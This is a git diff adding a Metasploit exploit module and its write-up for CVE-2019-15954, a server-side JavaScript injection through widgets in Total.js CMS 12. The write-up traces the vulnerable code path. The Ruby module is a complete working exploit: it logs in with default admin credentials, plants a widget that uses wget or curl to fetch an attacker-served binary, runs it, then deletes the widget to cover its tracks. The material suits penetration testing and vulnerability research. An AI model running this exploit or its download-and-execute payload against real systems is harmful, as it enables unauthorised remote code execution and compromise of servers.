diff --git a/documentation/modules/exploit/multi/http/totaljsms_widget_exec.md b/documentation/modules/exploit/multi/http/totaljsms_widget_exec.md
new file mode 100644
index 000000000000..2d4708cb6f2a
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/totaljsms_widget_exec.md
@@ -0,0 +1,136 @@
+# CVE-2019-15954: Total.js CMS 12 Widget Remote Code Execution
+
+## Introduction
+
+Total.js is a Node.js Framework for building e-commerce applications, REST services, real-time apps, or apps for Internet of Things (IoT), etc. Total.js CMS is a Content Management System (application) that is part of the Total.js framework. A commercial version is also available, and can be seen used world-wide.
+
+In Total.js CMS, a user with admin permission may be able to create a widget, and extend CMS functionalities for visitors. However, this can also be abused to upload JavaScript code that will be evaluated server side. As a result, it is possible to embed malicious JavaScript in the new widget, and gain remote code execution.
+
+## Technical Analysis
+
+In the CVE advisory, we know that the vulnerability is associated with widget creation, so this is where we start the analysis. To do this, I looked for the keyword "New widget" because that is on the widget creation page, and very quickly I found the HTML page for that, as well as the JavaScript located at:
+
+* cms/themes/admin/public/forms/widgets.html
+* cms/schemas/widgets.js
+
+The widgets.html file is what you actually look at when you're adding a new widget from the GUI. After filling out the fields, you would click on the "Save" button, which in HTML is this:
+
+```html
+
+```
+
+And the button function is handled by the following code:
+
+```javascript
+exports.submit = function(com) {
+ SETTER('loading', 'show');
+ AJAX('POST [url]api/widgets/ REPEAT', GETR('widgets.form'), function(response) {
+ SETTER('loading', 'hide', 1000);
+ if (response.success) {
+ SETTER('snackbar', 'success', '@(Widget has been saved successfully.)');
+ EXEC('widgets/refresh');
+ com.hide();
+ }
+ });
+};
+```
+
+The following URI is important because it tells us the route:
+
+```javascript
+AJAX('POST [url]api/widgets/ REPEAT' ...
+```
+
+The route map can be found in admin.js, and our code indicates we are looking at this route:
+
+```javascript
+// MODEL: /schema/widgets.js
+// ... Other routes ...
+ROUTE('POST #admin/api/widgets/ *Widget --> @save');
+// ... Other routes...
+```
+
+The JavaScript comment actually reveals which JS file is responsible for the widgets routes, so clearly we need to be looking at widgets.js. The route also indicates we should be looking at a `save` function, which links to `setSave`, which starts the saving process.
+
+During the saving process, it goes through a refreshing stage (in the `refresh` function). Although there is a lot going on, the most interesting line is this:
+
+```javascript
+var obj = compile(item.body); // Line 309 (widgets.js)
+```
+
+The `compile` function parses the source code for the new widget. Apparently, the JavaScript tag is a bit customized, for example, this isn't the standard JavaScript tag prefix, it is more specific to Total.JS:
+
+```javascript
+var body = html.substring(beg, end);
+var beg = body.indexOf('>') + 1;
+var type = body.substring(0, beg);
+
+body = body.substring(beg);
+raw = raw.replace(type + body + '', '');
+
+body = body.trim();
+
+if (type.indexOf('html') !== -1 || type.indexOf('plain') !== -1)
+ body_template = body;
+else if (type.indexOf('total') !== -1 || type.indexOf('totaljs') !== -1)
+ body_total = body;
+else if (type.indexOf('editor') !== -1)
+ body_editor = body;
+else
+ body_script = body;
+```
+
+After parsing, the code could be stored in a few different ways. Specifically we want to watch where these are going in code:
+
+```javascript
+// Around line 258 in widgets.js
+obj.js = body_script;
+// ... code ...
+obj.editor = body_editor;
+// ... code ...
+obj.template = body_template;
+// ... code ...
+obj.total = body_total;
+// ... code ...
+```
+
+So that's pretty much for the `compile` function, and back to the `refresh` function. Now that we have the parsed code, let's see what `refresh` is doing with the object members we're interested in watching. Well, there are some interesting ones, for example, this is what happens to `obj.total`:
+
+```javascript
+if (obj.total) {
+ var o = new WidgetInstace();
+ try {
+ (new Function('exports', obj.total))(o);
+ } catch (e) {
+ WARNING.message = 'Widget {0} exception: {1}'.format(item.name, e.message);
+ ADMIN.notify(WARNING);
+ }
+ obj.total = o;
+ rebuild = true;
+}
+```
+
+As you can see here, if we have a JavaScript code block that starts like this:
+
+```javascript
+
+```
+
+Then that code goes to `obj.total`, and that gets executed as a new function. To mimic that code execution, open up the Developer's Tools in your browser, enter the following (which is basically what the code above is doing):
+
+```javascript
+function WidgetInstance() {}
+var o = new WidgetInstance();
+(new Function('exports', 'console.log("Hello World!");'))(o);
+```
+
+And you should see that `console.log` is executed (which represents the user-provided script):
+
+```
+> function WidgetInstance() {}
+var o = new WidgetInstance();
+(new Function('exports', 'console.log("Hello World!");'))(o);
+> VM33:3 Hello World!
+```
diff --git a/modules/exploits/multi/http/totaljsms_widget_exec.rb b/modules/exploits/multi/http/totaljsms_widget_exec.rb
new file mode 100644
index 000000000000..04ccd47e3812
--- /dev/null
+++ b/modules/exploits/multi/http/totaljsms_widget_exec.rb
@@ -0,0 +1,339 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpServer
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::EXE
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'Total.js CMS 12 Widget JavaScript Code Injection',
+ 'Description' => %q{
+ This module exploits a vulnerability in Total.js CMS. The issue is that a user with
+ admin permission can embed a malicious JavaScript payload in a widget, which is
+ evaluated server side, and gain remote code execution.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Riccardo Krauter', # Original discovery
+ 'sinn3r' # Metasploit module
+ ],
+ 'Arch' => ARCH_X86,
+ 'Targets' =>
+ [
+ [ 'Total.js CMS on Linux', { 'Platform' => 'linux' } ],
+ [ 'Total.js CMS on Mac', { 'Platform' => 'osx' } ]
+ ],
+ 'References' =>
+ [
+ ['CVE', '2019-15954'],
+ ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/5'],
+ ['URL', 'https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf']
+ ],
+ 'DefaultOptions' =>
+ {
+ 'RPORT' => 8000
+ },
+ 'Notes' =>
+ {
+ 'SideEffects' => [ IOC_IN_LOGS ],
+ 'Reliability' => [ REPEATABLE_SESSION ],
+ 'Stability' => [ CRASH_SAFE ]
+ },
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Aug 30 2019', # Reported to seclist
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The base path for Total.js CMS', '/']),
+ OptString.new('TOTALJSUSERNAME', [true, 'The username for Total.js admin', 'admin']),
+ OptString.new('TOTALJSPASSWORD', [true, 'The password for Total.js admin', 'admin'])
+ ])
+ end
+
+ class AdminToken
+ attr_reader :token
+
+ def initialize(cookie)
+ @token = cookie.scan(/__admin=([a-zA-Z\d]+);/).flatten.first
+ end
+
+ def blank?
+ token.blank?
+ end
+ end
+
+ class Widget
+ public
+
+ attr_reader :name
+ attr_reader :category
+ attr_reader :source_code
+ attr_reader :platform
+ attr_reader :url
+
+ def initialize(p, u)
+ @name = "p_#{Rex::Text.rand_text_alpha(10)}"
+ @category = 'content'
+ @platform = p
+ @url = u
+ @source_code = get_source_code
+ end
+
+ private
+
+ def get_source_code
+ cmd = ''
+ payload_path = "/tmp/p_#{Rex::Text.rand_text_alpha(5)}"
+
+ case platform.downcase
+ when 'linux'
+ cmd = "wget #{url} -O #{payload_path} "
+ when 'osx'
+ cmd = "curl #{url} > #{payload_path} "
+ end
+
+ cmd << "&& chmod +x #{payload_path} && #{payload_path} && rm #{payload_path}"
+ %Q||
+ end
+ end
+
+ def check
+ code = CheckCode::Safe
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'widgets')
+ })
+
+ unless res
+ vprint_error('Connection timed out')
+ return CheckCode::Unknown
+ end
+
+ # If the admin's login page is visited too many times, we will start getting
+ # a 401 (unauthorized response). In that case, we only have a header to work
+ # with.
+ if res.headers['X-Powered-By'].to_s == 'Total.js'
+ code = CheckCode::Detected
+ end
+
+ # If we are here, then that means we can still see the login page.
+ # Let's see if we can extract a version.
+ html = res.get_html_document
+ element = html.at('title')
+ return code unless element.respond_to?(:text)
+ title = element.text.scan(/CMS v([\d\.]+)/).flatten.first
+ return code unless title
+ version = Gem::Version.new(title)
+
+ if version <= Gem::Version.new('12')
+ # If we are able to check the version, we could try the default cred and attempt
+ # to execute malicious code and see how the application responds. However, this
+ # seems to a bit too aggressive so I'll leave that to the exploit part.
+ return CheckCode::Appears
+ end
+
+ CheckCode::Safe
+ end
+
+ def auth(user, pass)
+ json_body = { 'name' => user, 'password' => pass }.to_json
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri, 'api', 'login', 'admin'),
+ 'ctype' => 'application/json',
+ 'data' => json_body
+ })
+
+ unless res
+ fail_with(Failure::Unknown, 'Connection timed out')
+ end
+
+ json_res = res.get_json_document
+ cookies = res.get_cookies
+ # If it's an array it could be an error, so we are specifically looking for a hash.
+ if json_res.kind_of?(Hash) && json_res['success']
+ token = AdminToken.new(cookies)
+ @admin_token = token
+ return token
+ end
+ fail_with(Failure::NoAccess, 'Invalid username or password')
+ end
+
+ def create_widget(admin_token)
+ platform = target.platform.names.first
+ host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
+ port = datastore['SRVPORT']
+ proto = datastore['SSL'] ? 'https' : 'http'
+ url = "#{proto}://#{host}:#{port}#{get_resource}/p_#{Rex::Text.rand_text_alpha(5)}"
+ widget = Widget.new(platform, url)
+
+ json_body = {
+ 'name' => widget.name,
+ 'category' => widget.category,
+ 'body' => widget.source_code
+ }.to_json
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
+ 'cookie' => "__admin=#{admin_token.token}",
+ 'ctype' => 'application/json',
+ 'data' => json_body
+ })
+
+ unless res
+ fail_with(Failure::Unknown, 'Connection timed out')
+ end
+
+ res_json = res.get_json_document
+ if res_json.kind_of?(Hash) && res_json['success']
+ print_good("Widget created successfully")
+ else
+ fail_with(Failure::Unknown, 'No success message in body')
+ end
+
+ widget
+ end
+
+ def get_widget_item(admin_token, widget)
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
+ 'cookie' => "__admin=#{admin_token.token}",
+ 'ctype' => 'application/json'
+ })
+
+ unless res
+ fail_with(Failure::Unknown, 'Connection timed out')
+ end
+
+ res_json = res.get_json_document
+ count = res_json['count']
+ items = res_json['items']
+
+ unless count
+ fail_with(Failure::Unknown, 'No count key found in body')
+ end
+
+ unless items
+ fail_with(Failure::Unknown, 'No items key found in body')
+ end
+
+ items.each do |item|
+ widget_name = item['name']
+ if widget_name.match(/p_/)
+ return item
+ end
+ end
+
+ []
+ end
+
+ def clear_widget
+ admin_token = get_admin_token
+ widget = get_widget
+
+ print_status('Finding the payload from the widget list...')
+ item = get_widget_item(admin_token, widget)
+
+ json_body = {
+ 'id' => item['id'],
+ 'picture' => item['picture'],
+ 'name' => item['name'],
+ 'icon' => item['icon'],
+ 'category' => item['category'],
+ 'datecreated' => item['datecreated'],
+ 'reference' => item['reference']
+ }.to_json
+
+ res = send_request_cgi({
+ 'method' => 'DELETE',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
+ 'cookie' => "__admin=#{admin_token.token}",
+ 'ctype' => 'application/json',
+ 'data' => json_body
+ })
+
+ unless res
+ fail_with(Failure::Unknown, 'Connection timed out')
+ end
+
+ res_json = res.get_json_document
+ if res_json.kind_of?(Hash) && res_json['success']
+ print_good("Widget cleared successfully")
+ else
+ fail_with(Failure::Unknown, 'No success message in body')
+ end
+ end
+
+ def on_request_uri(cli, req)
+ print_status("#{cli.peerhost} requesting: #{req.uri}")
+
+ if req.uri =~ /p_.+/
+ payload_exe = generate_payload_exe(code: payload.encoded)
+ print_status("Sending payload to #{cli.peerhost}")
+ send_response(cli, payload_exe, {'Content-Type' => 'application/octet-stream'})
+ return
+ end
+
+ send_not_found(cli)
+ end
+
+ def on_new_session(session)
+ clear_widget
+ end
+
+ # This is kind of for cleaning up the wiget, because we cannot pass it as an
+ # argument in on_new_session.
+ def get_widget
+ @widget
+ end
+
+ # This is also kind of for cleaning up widget, because we cannot pass it as an
+ # argument directly
+ def get_admin_token
+ @admin_token
+ end
+
+ def exploit
+ # We are executing the HTTP client as a thread so that we can start the web server
+ # host, and then fire the exploit. However, by doing this we may be swallowing
+ # exceptions, so we need to catch all of them, print what the error is, and then
+ # raise again to make sure the core is notified.
+ t = framework.threads.spawn('totaljs_command_injection', false) do
+ # A little delay is needed to make sure the web server goes first.
+ sleep(0.5)
+ begin
+ user = datastore['TOTALJSUSERNAME']
+ pass = datastore['TOTALJSPASSWORD']
+ print_status("Attempting to authenticate with #{user}:#{pass}")
+ admin_token = auth(user, pass)
+ fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
+ print_good("Authenticatd as: #{user}:#{pass}")
+ print_status("Creating a widget...")
+ @widget = create_widget(admin_token)
+ rescue ::Exception => e
+ print_error(e.message)
+ raise e
+ end
+ end
+
+ begin
+ super
+ rescue ::Exception => e
+ t.kill
+ raise e
+ end
+ end
+
+end